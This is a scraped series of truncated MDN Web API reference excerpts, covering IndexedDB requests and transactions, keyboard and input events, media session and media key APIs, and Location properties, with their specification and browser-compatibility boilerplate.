rhtml += '<li>database initialised.</li>'; db = request.result; populateanddisplaydata(); }; specifications specification status comment indexed database api 2.0the definition of 'onupgradeneeded' in that specification. recommendation indexed database api draftthe definition of 'onupgradeneeded' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonupgradeneededchrome ...
IDBOpenDBRequest - Web APIs
lt; // run the displaydata() function to populate the task // listwith all the to-do list data already in the idb displaydata(); }; // this event handles the event whereby a new version of // the database needs to be created either one has not // been created before, or a new version number has been // submitted via the window.indexeddb.open line above // it is only implemented in recent browsers dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "...
IDBRequest.error - Web APIs
Web › API › IDBRequest › error
og what it is console.log("there has been an error with retrieving your data: " + objectstoretitlerequest.error); }; specifications specification status comment indexed database api 2.0the definition of 'error' in that specification. recommendation indexed database api draftthe definition of 'error' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneterrorchrome ...
IDBRequest.onerror - Web APIs
oretitlerequest.error); // todo what about event parameter into onerror()? what will be inside of this event? }; specifications specification status comment indexed database api 2.0the definition of 'onerror' in that specification. recommendation indexed database api draftthe definition of 'onerror' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerrorchrome ...
IDBRequest.onsuccess - Web APIs
function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'onsuccess' in that specification. recommendation indexed database api draftthe definition of 'onsuccess' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonsuccesschrome ...
IDBRequest.readyState - Web APIs
unction again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'readystate' in that specification. recommendation indexed database api draftthe definition of 'readystate' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadystatechrome ...
IDBRequest.result - Web APIs
Web › API › IDBRequest › result
) // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'result' in that specification. recommendation indexed database api draftthe definition of 'result' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetresultchrome ...
IDBRequest.source - Web APIs
Web › API › IDBRequest › source
ata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification. recommendation indexed database api draftthe definition of 'source' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsourcechrome ...
IDBRequest.transaction - Web APIs
} }; openrequest.onsuccess = function() { console.log(openrequest.transaction); // will log "null". }; specifications specification status comment indexed database api 2.0the definition of 'transaction' in that specification. recommendation indexed database api draftthe definition of 'transaction' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettransactionchrome ...
IDBTransaction.objectStoreNames - Web APIs
transactionobj.objectstorenames; returns a domstringlist of names of idbobjectstore objects. specification specification status comment indexed database api 2.0the definition of 'objectstorenames' in that specification. recommendation indexed database api draftthe definition of 'objectstorenames' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorenameschrome ...
IDBTransaction.abort() - Web APIs
ote.innerhtml += '<li>request successful.</li>'; }; // abort the transaction we just did transaction.abort(); }; specification specification status comment indexed database api 2.0the definition of 'abort()' in that specification. recommendation indexed database api draftthe definition of 'abort()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetabortchrome ...
IDBTransaction.db - Web APIs
Web › API › IDBTransaction › db
/li>'; }; // return the database (idbdatabase) connection with which this transaction is associated transaction.db; }; specification specification status comment indexed database api 2.0the definition of 'db' in that specification. recommendation indexed database api draftthe definition of 'db' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdbchrome ...
IDBTransaction.error - Web APIs
sfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'error' in that specification. recommendation indexed database api draftthe definition of 'error' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneterrorchrome ...
IDBTransaction.mode - Web APIs
}; // return the mode this transaction has been opened in (should be "readwrite" in this case) transaction.mode; }; specification specification status comment indexed database api 2.0the definition of 'mode' in that specification. recommendation indexed database api draftthe definition of 'mode' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmodechrome ...
IDBTransaction.objectStore() - Web APIs
for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; specification specification status comment indexed database api 2.0the definition of 'objectstore()' in that specification. recommendation indexed database api draftthe definition of 'objectstore()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorechrome ...
IDBTransaction.onabort - Web APIs
ted console.log("transaction aborted!"); }; // abort the transaction we just did transaction.abort(); }; specification specification status comment indexed database api 2.0the definition of 'onabort' in that specification. recommendation indexed database api draftthe definition of 'onabort' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonabortchrome ...
IDBTransaction.onerror - Web APIs
ly in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'onerror' in that specification. recommendation indexed database api draftthe definition of 'onerror' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerrorchrome ...
IDBTransaction - Web APIs
action.oncomplete) note.innerhtml += '<li>request successful.</li>'; }; }; specifications specification status comment indexed database api 2.0the definition of 'idbtransaction' in that specification. recommendation initial definition indexed database api draftthe definition of 'idbtransaction' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbtransactionchrome ...
IDBVersionChangeEvent.newVersion - Web APIs
e. // this is used a lot later on, for opening transactions and suchlike. db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'newversion' in that specification. recommendation indexed database api draftthe definition of 'newversion' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnewversionchrome ...
IDBVersionChangeEvent.oldVersion - Web APIs
db.deleteobjectstore("store1"); db.createobjectstore("store2"); } // etc. for version < 3, 4... }; specifications specification status comment indexed database api 2.0the definition of 'oldversion' in that specification. recommendation indexed database api draftthe definition of 'oldversion' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoldversionchrome ...
IDBVersionChangeEvent - Web APIs
om its parent, method. idbversionchangeevent.oldversion read only returns the old version of the database. idbversionchangeevent.newversion read only returns the new version of the database. deprecated properties idbversionchangeevent.version read only the new version of the database in a versionchange transaction. warning: while this property is still implemented in older browsers, the latest specification replaces it with the oldversion and newversion attributes. see the compatibility table to know what browsers support them. methods no specific method, but inherits properties from its parent, method. example in the following code snippet, we make a request to open a database, and include handlers for the success and error cases. upon a version change (after a...
IIRFilterNode() - Web APIs
const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const iirfilter = new iirfilternode(audioctx, { feedforward: feedforward, feedback: feedbackward }); specifications specification status comment web audio apithe definition of 'iirfilternode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetiirfilternode() constru...
IdleDeadline.didTimeout - Web APIs
. if didtimeout is true, the idledeadline object's timeremaining() method will return approximately 0. idle callbacks support the concept of a timeout in order to ensure that whatever task they're meant to perform actually happens, even if the user agent never has enough idle time available. your callback will typically check the value of didtimeout if it needs to perform an action even if the browser is too busy to grant you the time; you should react by performing the needed task or, ideally, a minimal amount of work that can be done to keep things moving along, then schedule a new callback to try again to get the rest of the work done. syntax var timedout = idledeadline.didtimeout; value a boolean which is true if the callback is running due to the callback's timeout period elapsing o...
ImageCapture.takePhoto() - Web APIs
{ console.log('took photo:', blob); img.classlist.remove('hidden'); img.src = url.createobjecturl(blob); }).catch(function(error) { console.log('takephoto() error: ', error); }); } specifications specification status comment mediastream image capturethe definition of 'takephoto()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettakephoto experimentalc...
ImageData.height - Web APIs
Web › API › ImageData › height
syntax imagedata.height example this example creates an imagedata object that is 200 pixels wide and 100 pixels tall. thus, the height property is 100. ...
firesTouchEvents - Web APIs
pabilities.firestouchevents read-only property returns a boolean that indicates whether the device dispatches touch events. you can use this property to detect mouse events that represent an action that may already have been handled by touch event handlers. this doesn't necessarily mean the device is a touch screen. for example, stylus and mouse devices typically generate touch events on mobile browsers. syntax var boolean = inputdevicecapabilities.firestouchevents returns a boolean example mybutton.addeventlistener('mousedown', function(e) { if (!e.sourcecapabilities.firestouchevents) mybutton.classlist.add("pressed"); }); specifications specification status comment inputdevicecapabilitiesthe definition of 'firetouchevents' in that specification. draf...
InputEvent.dataTransfer - Web APIs
tor('p[contenteditable]'); var result = document.queryselector('.result') var datatransferobj; editable.addeventlistener('input', (e) => { result.textcontent = e.datatransfer.getdata('text/html'); }); specifications specification status comment input events level 2the definition of 'datatransfer' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdatatransfer experiment...
InputEvent.getTargetRanges() - Web APIs
ill be affected by a change to the dom if the input event is not canceled. syntax var staticranges[] = inputevent.gettargetranges() parameters none. return value an array of staticrange objects. specifications specification status comment input events level 2the definition of 'gettargetranges()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgettargetranges experim...
enabled - Web APIs
lation is enabled for this client machine; otherwise, false. ...
IntersectionObserver.rootMargin - Web APIs
to the css margin property's value, which contains offsets for one or more sides of the root's bounding box. these offsets are added to the corresponding values in the root's bounding box before the intersection between the resulting rectangle and the target element's bounds. the string returned by this property may not match the one specified when the intersectionobserver was instantiated. the browser is permitted to alter the values if rootmargin isn't specified when the object was instantiated, it defaults to the string "0px 0px 0px 0px", meaning that the intersection will be computed between the root element's unmodified bounds rectangle and the target's bounds. the root element and root margin in intersection observer api describes how the rootmargin is used in more detail. specificat...
KeyboardEvent.code - Web APIs
the keyboardevent.code property represents a physical key on the keyboard (as opposed to the character generated by pressing the key). in other words, this property returns a value that isn't altered by keyboard layout or the state of the modifier keys. if the input device isn't a physical keyboard, but is instead a virtual keyboard or accessibility device, the returned value will be set by the browser to match as closely as possible to what would happen with a physical keyboard, to maximize compatibility between physical and virtual input devices. this property is useful when you want to handle keys based on their physical positions on the input device rather than the characters associated with those keys; this is especially common when writing code to handle input for games that simulate a...
KeyboardEvent.getModifierState() - Web APIs
lkey or keyboardevent.metakey is true. in old implementations and outdated specifications, it returned true when a modifier which is the typical modifier key for the shortcut key is pressed. for example, on windows, pressing ctrl key may make it return true. however, on mac, pressing ⌘ command key may make it return true. note that which modifier key makes it return true depends on platforms, browsers, and user settings. for example, firefox users can customize this with a pref, "ui.key.accelkey". example // ignore if following modifier is active. if (event.getmodifierstate("fn") || event.getmodifierstate("hyper") || event.getmodifierstate("os") || event.getmodifierstate("super") || event.getmodifierstate("win") /* hack for ie */) { return; } // also ignore if two or mo...
KeyboardEvent.initKeyEvent() - Web APIs
t"). events initialized in this way must have been created with the document.createevent("keyboardevent") method. initkeyevent() must be called to set the event before it is dispatched. do not use this method anymore, use the keyboardevent() constructor instead. this method is based on early drafts of document object model (dom) level 2 events specification and is implemented in gecko-based browsers; other browsers implemented keyboardevent.initkeyboardevent based on early drafts of document object model (dom) level 3 events specification. favor the modern constructor structure as the only cross-browser way of building events. syntax event.initkeyevent (type, bubbles, cancelable, viewarg, ctrlkeyarg, altkeyarg, shiftkeyarg, metakeyarg, keycodearg...
KeyboardEvent.keyCode - Web APIs
and implementation dependent numerical code identifying the unmodified value of the pressed key. this is usually the decimal ascii (rfc 20) or windows 1252 code corresponding to the key. if the key can't be identified, this value is 0. you should avoid using this if possible; it's been deprecated for some time. instead, you should use keyboardevent.code, if it's implemented. unfortunately, some browsers still don't have it, so you'll have to be careful to make sure you use one which is supported on all target browsers. web developers shouldn't use the keycode attribute for printable characters when handling keydown and keyup events. as described above, the keycode attribute is not useful for printable characters, especially those input with the shift or alt key pressed. when implementing a ...
Keyboard API - Web APIs
it provides several capabilities. keyboard mapping provides an interface for retrieving the string generated by particular physical key on a keyboard to correctly identify that key to a user. keyboard locking enables a web page to capture keys that are normally reserved by the user agent or the underlying operating system. the intended use of the keyboard api is by web applications such as games or remote access apps that provide a full-screen immersive experience. ...
KeyframeEffect.setKeyframes() - Web APIs
rty value lists, each supplied offset is applied to the corresponding keyframe. if there are insufficient values, or if the list contains null values, the keyframes without specified offsets will be evenly spaced as with the array format described above. if there are too few easing or composite values, the corresponding list will be repeated as needed. implicit to/from keyframes in newer browser versions, you are able to set a beginning or end state for an animation only (i.e. a single keyframe), and the browser will infer the other end of the animation if it is able to. for example, consider this simple animation — the keyframe object looks like so: let rotate360 = [ { transform: 'rotate(360deg)' } ]; we have only specified the end state of the animation, and the beginning state...
LocalMediaStream - Web APIs
the localmediastream interface was part of the media capture and streams api, representing a stream of data being generated locally (such as by getusermedia(). however, getusermedia() now returns a mediastream instead, and this interface has been removed from the specification. warning: this interface is no longer available in any mainstream browser. do not use localmediastream; you need to update any code that does use it as soon as possible or your content or application will stop working. see stopping a video stream in mediastreamtrack to learn how. all other functionality is found in mediastream. the primary reason for this interface to exist was to add a stop() method to its mediastream parent interface. however, control over playback of media has been moved to the individu...
Location: ancestorOrigins - Web APIs
you can use location.ancestororigins in the script for a document to determine, for example, whenever the document is being framed by a site which you don’t expect it to be framed by. you can also use it to vary the behavior of the document based on what site or list of sites is framing it. ...
Location: origin - Web APIs
Web › API › Location › origin
e.g "blob:https://mozilla.org" will have "https://mozilla.org". note: this feature is available in web workers. syntax string = object.origin; examples // on this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification ...
Location: search - Web APIs
Web › API › Location › search
the search property of the location interface is a search string, also called a query string; that is, a usvstring containing a '?' followed by the parameters of the url. modern browsers provide urlsearchparams and url.searchparams to make it easy to parse out the parameters from the querystring. syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standa...
Long Tasks API - Web APIs
interactive". high/variable input latency. high/variable event handling latency. janky animations and scrolling. concepts some key terms or ideas that are utilized by the long tasks api. long task any uninterrupted period where the main ui thread is busy for 50 ms or longer. common examples include: long running event handlers. expensive reflows and other re-renders. work the browser does between different turns of the event loop that exceeds 50 ms. culprit browsing context container the "culprit browsing context container", or "the container" for short, is the top level page, iframe, embed or object that the task occurred within. attributions a list of containers that the task occurred within. for tasks that don't occur within the top level page, the containerid, cont...
MSManipulationEvent.initMSManipulationEvent() - Web APIs
use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the initmsmanipulationevent method is used to create a msmanipulationevent that can be called from javascript. this proprietary method is specific to internet explorer. beginning with the microsoft edge browser, the initevent() constructor pattern for synthetic events is deprecated. syntax msmanipulationevent.initmsmanipulationevent(typearg, canbubblearg, cancelablearg, viewarg, detailarg, laststate, currentstate); parameters typearg [in] type: domstring the type of the event being created. canbubblearg [in] type: boolean indicates whether the event can bubble. when true the event should pro...
MediaCapabilities - Web APIs
the information can be used to serve optimal media streams to the user and determine if playback should be smooth and power efficient. the information is accessed through the mediacapabilities property of the navigator interface. ...
MediaCapabilitiesInfo - Web APIs
ed piece of media be high quality? will it be smooth? if supported is true, and playback will be smooth, smooth is true, otherwise, is it false. powerefficient: given the properties defined in the mediaconfiguration, will the playback of the specified piece of media be power efficient? if supported is true, and playback will be power efficient, powerefficient is true, otherwise, is it false. browsers will report a supported media configuration as smooth and powerefficient until stats on this device have been recorded. all supported audio codecs are reported to be power efficient. example // mediaconfiguration to be tested const mediaconfig = { type : 'file', audio : { contenttype : "audio/ogg", channels : 2, bitrate : 132700, samplerate : 5200 ...
MediaDeviceInfo.kind - Web APIs
only property of the mediadeviceinfo interface returns an enumerated value, that is either "videoinput", "audioinput" or "audiooutput". syntax var kind = mediadeviceinfo.kind value a domstring. specifications specification status comment media capture and streamsthe definition of 'kind' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkindchrome ...
MediaDeviceInfo - Web APIs
r.mediadevices.enumeratedevices() is an array of mediadeviceinfo objects, one per media device. properties mediadeviceinfo.deviceidread only returns a domstring that is an identifier for the represented device that is persisted across sessions. it is un-guessable by other applications and unique to the origin of the calling application. it is reset when the user clears cookies (for private browsing, a different identifier is used that is not persisted across sessions). mediadeviceinfo.groupidread only returns a domstring that is a group identifier. two devices have the same group identifier if they belong to the same physical device — for example a monitor with both a built-in camera and a microphone. mediadeviceinfo.kindread only returns an enumerated value that is either "video...
MediaDevices.ondevicechange - Web APIs
event that occurred. there is no information about the change included in the event object; to get the updated list of devices, you'll have to use enumeratedevices(). example in this example, we create a function called updatedevicelist(), which is called once when mediadevices.getusermedia() successfully obtains a stream, and then is called any time the device list changes. it displays in the browser window two lists: one of audio devices and one of video devices, with both the device's label (name) and whether it's an input or an output device. because the example provides a handler for the devicechange event, the list is refreshed any time a media device is attached to or removed from the device running the sample. html content <p>click the start button below to begin the demonstration...
MediaError.message - Web APIs
canceled the audio."; break; case mediaerror.media_err_network: s+= "a network error occurred while fetching the audio."; break; case mediaerror.media_err_decode: s+= "an error occurred while decoding the audio."; break; case mediaerror.media_err_src_not_supported: s+= "the audio is missing or is in a format not supported by your browser."; break; default: s += "an unknown error occurred."; break; } let message = err.message; if (message && message.length) { s += " " + message; } displayerrormessage("<strong>error " + err.code + ":</strong> " + s + "<br>"); }; this gets the mediaerror object describing the error from the error property on the htmlaudioelement represe...
MediaKeyMessageEvent() - Web APIs
parameters typearg a domstring containing one of may be one of license-request, license-renewal, license-renewal, or individualization-request. options options are as follows: messagetype: a developer-defined message type that allows applications to differentiate messages without parsing them. message: an array containing the message generated by the content decryption module. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmediakeymessageevent() ...
MediaKeyStatusMap.entries() - Web APIs
the entries() read-only property of the mediakeystatusmap interface returns a new iterator object, containing an array of [key, value] pairs for each element in the status map, in insertion order. syntax // tbd parameters none. returns exceptions specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetentries experimentalchr...
MediaKeyStatusMap.forEach() - Web APIs
element being processed in the array. index the index of the current element being processed in the array. array which array foreach() is being applied to. thisarg optional value used as this when executing callback. returns undefined. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetforeach experimentalchr...
MediaKeyStatusMap.get() - Web APIs
returns the value associated with the given key, or undefined if there is none. syntax var value = mediakeystatusmap.get(key); parameters key the key whose value you want returned. returns the value associated with the given key, or undefined. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetget experimentalchrome ...
MediaKeyStatusMap.has() - Web APIs
roperty of the mediakeystatusmap interface returns a boolean, asserting whether a value has been associated with the given key. syntax var boolean = mediakeystatusmap(key) parameters key the key whose value you want returned returns a boolean. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethas experimentalchrome ...
MediaKeyStatusMap.keys() - Web APIs
the keys property of the mediakeystatusmap interface returns a new iterator object, containing keys for each element in the status map, in insertion order. syntax var iterator = mediakeystatusmap.keys() parameters none. returns a new iterator. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeys experimentalchrome ...
MediaKeyStatusMap.size - Web APIs
the size read-only property of the mediakeystatusmap interface returns the number of key/value pairs in the status map. syntax var size = mediakeystatusmap.size; value a long integer. specifications specification status comment encrypted media extensionsthe definition of 'size' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsize experimentalchrome ...
MediaKeyStatusMap.values() - Web APIs
e values property of the mediakeystatusmap interface returns a new iterator object, containing values for each element in the status map, in insertion order. syntax var iterator = mediakeystatusmap.values() parameters none. returns a new iterator. specifications specification status comment encrypted media extensions recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvalues experimentalchro...
MediaMetadata.album - Web APIs
a interface returns or sets the name of the album or collection containing the media to be played. syntax var album = mediametadata.album mediametadata.album = album value a string containing the name of the album. specifications specification status comment media session standardthe definition of 'album' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetalbum experimentalchrom...
MediaMetadata.artist - Web APIs
ace returns or sets the name of the artist, group, creator, etc., of the media to be played. syntax var artist = mediametadata.artist mediametadata.artist = artist value a string containing the name of the artist. specifications specification status comment media session standardthe definition of 'artist' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetartist experimentalchro...
MediaMetadata.artwork - Web APIs
turns or sets an array of mediaimage objects representing images associated with playing media. syntax var artwork[] = mediametadata.artwork mediametadata.artwork = artwork[] value an array of mediaimage objects. specifications specification status comment media session standardthe definition of 'artwork' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetartwork experimentalchr...
MediaMetadata.title - Web APIs
itle property of the mediametadata interface returns or sets the title of the media to be played. syntax var title = mediametadata.title mediametadata.title = title value a string containing the title of the media. specifications specification status comment media session standardthe definition of 'title' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettitle experimentalchrom...
MediaMetadata - Web APIs
e played. mediametadata.album returns or sets the name of the album or collection containing the media to be played. mediametadata.artwork returns or sets an array of images associated with playing media. specifications specification status comment media session standardthe definition of 'mediametadata' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmediametadata experimen...
MediaPositionState.position - Web APIs
the mediapositionstate dictionary's position property is used when calling the mediasession method setpositionstate() to provide the user agent with the current playback position, in seconds, of the currently-playing media. this information is then, in turn, used by the user agent to provide a user interface which displays media playback information to the viewer. for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls. syntax let positionstate = { position: timeinseconds }; let duration = positionstate.duration; value a floating-...
MediaQueryList.addListener() - Web APIs
